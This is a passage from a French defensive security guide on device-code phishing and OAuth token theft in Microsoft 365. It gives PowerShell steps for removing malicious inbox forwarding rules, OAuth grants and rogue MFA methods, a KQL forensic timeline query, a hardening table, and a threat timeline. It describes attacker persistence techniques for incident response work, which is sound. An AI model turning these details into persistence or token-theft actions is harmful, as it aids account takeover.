Remove-MgUserRegisteredDevice -UserId $idUtilisateur -DirectoryObjectId "<id_appareil_suspect>"

# Étape 4 : Supprimer les règles de boîte mail malveillantes créées pour la persistance
Connect-ExchangeOnline
Get-InboxRule -Mailbox $idUtilisateur |
Where-Object {$_.DeleteMessage -eq $true -or $_.ForwardTo -ne $null} |
Select-Object Name, ForwardTo, DeleteMessage, MarkAsRead
# Supprimer les règles non créées par l'utilisateur :
Remove-InboxRule -Mailbox $idUtilisateur -Identity "<nom_règle>"

# Étape 5 : Supprimer les grants de consentement d'application OAuth
Get-MgUserOAuth2PermissionGrant -UserId $idUtilisateur |
Select-Object ClientId, Scope, ConsentType
Remove-MgOAuth2PermissionGrant -OAuth2PermissionGrantId "<id_grant>"

# Étape 6 : Vérifier les nouvelles méthodes MFA ajoutées par l'attaquant
Get-MgUserAuthenticationMethod -UserId $idUtilisateur
# Rechercher des numéros de téléphone, authentificateurs TOTP ou clés FIDO non reconnus

7.2 Reconstruction de la Chronologie Forensique

Après containment, reconstruisez exactement ce à quoi l'attaquant a accédé :

// Reconstruction complète de l'activité pour un compte compromis
let UtilisateurCompromis = "victime@entreprise.com";
let DébutAttaque = datetime(2025-01-15 23:00:00);
let FinAttaque = datetime(2025-01-16 06:00:00);

// Tous les événements d'authentification
SigninLogs
| where TimeGenerated between (DébutAttaque .. FinAttaque)
| where UserPrincipalName == UtilisateurCompromis
| project TimeGenerated, Type="Connexion Interactive",
Détails=strcat(AppDisplayName, " depuis ", IPAddress, " (",
tostring(LocationDetails.countryOrRegion), ")"),
ProtocoAuthent = AuthenticationProtocol,
Risque = RiskLevelAggregated
| union (
NonInteractiveUserSignInLogs
| where TimeGenerated between (DébutAttaque .. FinAttaque)
| where UserPrincipalName == UtilisateurCompromis
| project TimeGenerated, Type="Actualisation Silencieuse de Jeton",
Détails=strcat(AppDisplayName, " depuis ", IPAddress),
ProtocoAuthent = AuthenticationProtocol,
Risque = RiskLevelAggregated
)
| union (
AuditLogs
| where TimeGenerated between (DébutAttaque .. FinAttaque)
| where InitiatedBy.user.userPrincipalName == UtilisateurCompromis
| project TimeGenerated, Type="Action Répertoire",
Détails=strcat(OperationName, ": ", tostring(TargetResources[0].displayName)),
ProtocoAuthent="N/A",
Risque="N/A"
)
| sort by TimeGenerated asc
| project TimeGenerated, Type, Détails, ProtocoAuthent, Risque

Partie 8 La Feuille de Route de Durcissement : Ce Qui Arrête Vraiment Cela

ContrôlePrioritéComplexitéRéduction du RisqueMises en Garde
Bloquer le flux de code d'appareil dans CAP0FaibleÉlimine entièrement le hameçonnage par code d'appareilAuditer d'abord ; peut casser des intégrations IoT/héritées
Activer NonInteractiveUserSignInLogs dans SIEMP0FaibleComble la lacune de détection majeureAugmentation du volume de journaux ; assurer la rétention
MFA résistant au phishing (FIDO2 / Passkeys)P1MoyenÉlimine le vol d'identifiants AiTMNécessite des clés matérielles ou des appareils compatibles
Bloquer les protocoles d'authentification héritésP1MoyenÉlimine le brute-force SMTP/IMAPCasser les apps héritées d'abord ; tester en mode rapport
Exiger un appareil conforme pour toutes les apps cloudP1ÉlevéLe rejeu de jeton depuis un appareil non géré échoue à CANécessite l'enrollment complet Intune ; friction utilisateur
Fréquence de connexion : 1–4h pour les ressources sensiblesP1FaibleLimite la fenêtre de rejeu de jetonsFriction de re-auth pour les utilisateurs légitimes
CAE pour Exchange/SharePoint/TeamsP2FaibleLa révocation de jeton se propage en minutesNécessite des clients compatibles CAE
Restreindre le consentement d'apps OAuth aux apps approuvées par adminP2MoyenBloque les attaques de consentement illiciteSurcharge administrative pour les approbations d'apps
Application du TPM sur tous les appareils WindowsP2ÉlevéRend l'extraction du PRT infaisableUn renouvellement matériel peut être nécessaire
Stratégie CA de Protection des Jetons (préversion)P2FaibleLie les jetons à des appareils spécifiquesFonctionnalité en préversion ; support d'apps limité

MFA Résistant au Phishing : Ce Que Cela Signifie Vraiment

"MFA résistant au phishing" désigne spécifiquement les méthodes d'authentification où l'identifiant est cryptographiquement lié à l'origine de la partie de confiance ce qui signifie que même un proxy AiTM ne peut pas l'intercepter.

Cela s'applique à :

  • Clés de sécurité FIDO2 (YubiKey, etc.) : La clé privée ne quitte jamais le token matériel ; la réponse de défi est délimitée au domaine d'origine exact
  • Windows Hello for Business : Lié au TPM de l'appareil ; cryptographiquement lié au domaine de connexion
  • Authentification basée sur certificat : Certificats clients avec clés matérielles

Cela ne s'applique pas à :

  • Codes TOTP / basés sur le temps (code Microsoft Authenticator) : Peuvent être interceptés par un proxy AiTM en temps réel
  • Notifications push : Peuvent être hameçonnées via la fatigue MFA ou transmises
  • OTP SMS : Peuvent être SIM-swappés

Résumé pour les RSSI : Que Faire Lundi Matin

1. Exécutez la requête d'audit de code d'appareil aujourd'hui. Déterminez si le hameçonnage par code d'appareil se produit déjà dans votre tenant. Extrayez 30 jours de SigninLogsAuthenticationProtocol == "deviceCode". Les résultats seront soit rassurants, soit immédiatement actionnables.

2. Assurez-vous que les NonInteractiveUserSignInLogs sont intégrés dans votre SIEM. S'ils ne le sont pas, vous avez un angle mort pour le rejeu de jetons. C'est un changement de configuration, pas un achat de produit.

3. Mettez la stratégie CA "Bloquer le flux de code d'appareil" en mode rapport immédiatement. Voyez ce qui se casse. Vous avez 30 jours de données de connexion pour évaluer l'impact. La plupart des environnements trouveront une utilisation légitime quasi nulle.

4. Identifiez vos comptes de la plus haute valeur (dirigeants, admins informatiques, responsables financiers). Appliquez des clés matérielles FIDO2 pour ces utilisateurs en premier. Le modèle de menace pour un DAF hameçonné par code d'appareil est catégoriquement différent de celui d'un utilisateur de la main-d'œuvre générale.

5. Créez un runbook de révocation de jetons. Lorsqu'un incident de vol de jeton est confirmé, votre équipe doit exécuter la séquence de révocation en moins de 10 minutes. Si ce processus nécessite une chaîne d'approbation de 30 minutes, l'attaquant a déjà pivoté.


Chronologie : Du Hameçonnage par Code d'Appareil à la Commodité (2021–2026)

DateÉvénement
2021Secureworks documente le hameçonnage OAuth par code d'appareil ciblant des acteurs liés à la Russie ; publie SquarePhish
Mi-2024Microsoft suit Storm-2372 (aligné sur la Russie) utilisant le hameçonnage par code d'appareil contre des gouvernements, ONG et entreprises dans plus de 15 pays
Fév. 2025Microsoft divulgue publiquement la campagne Storm-2372 ; attribue avec haute confiance aux acteurs étatiques russes
Juin 2025ShinyHunters/Scattered Spider utilisent le vol de jetons OAuth via l'intégration Salesloft/Drift pour violer Salesforce dans 700+ organisations dont Cloudflare, Zscaler, Tenable
Sep. 2025Proofpoint observe une hausse "très inhabituelle" des campagnes de hameçonnage par code d'appareil plusieurs clusters de menaces adoptent simultanément
Oct. 2025TA2723 (motivation financière) commence à utiliser le hameçonnage par code d'appareil à grande échelle la technique passe des APT à la cybercriminalité de commodité
Déc. 2025Proofpoint publie ses recherches ; les kits de phishing SquarePhish2 et Graphish publiquement documentés
Fév. 2026La plateforme PhaaS EvilTokens émerge le hameçonnage par code d'appareil entièrement banalisé comme offre de service
Avr. 2026Microsoft documente une campagne de hameçonnage par code d'appareil activée par l'IA utilisant la génération dynamique de code et l'automatisation backend Railway.com

Références

  • Microsoft Security Blog : "Inside an AI-enabled device code phishing campaign" (Avril 2026)
  • Proofpoint : "Access granted: phishing with device code authorization for account takeover" (Décembre 2025)
  • Dirk-jan Mollema : "Introducing ROADtools" et recherches sur le PRT (roadlib.readthedocs.io)
  • Ontinue : Rapport de renseignement sur les menaces "Tycoon 2FA Phishing Kit" (2025)
  • CISA Alert AA25-039A : OAuth 2.0 Device Authorization Abuse
  • Documentation Microsoft : Politique de flux d'authentification de l'Accès Conditionnel